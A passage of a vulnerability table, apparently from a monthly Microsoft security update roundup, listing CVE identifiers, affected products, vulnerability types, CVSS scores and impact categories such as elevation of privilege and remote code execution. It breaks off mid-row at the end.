CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure 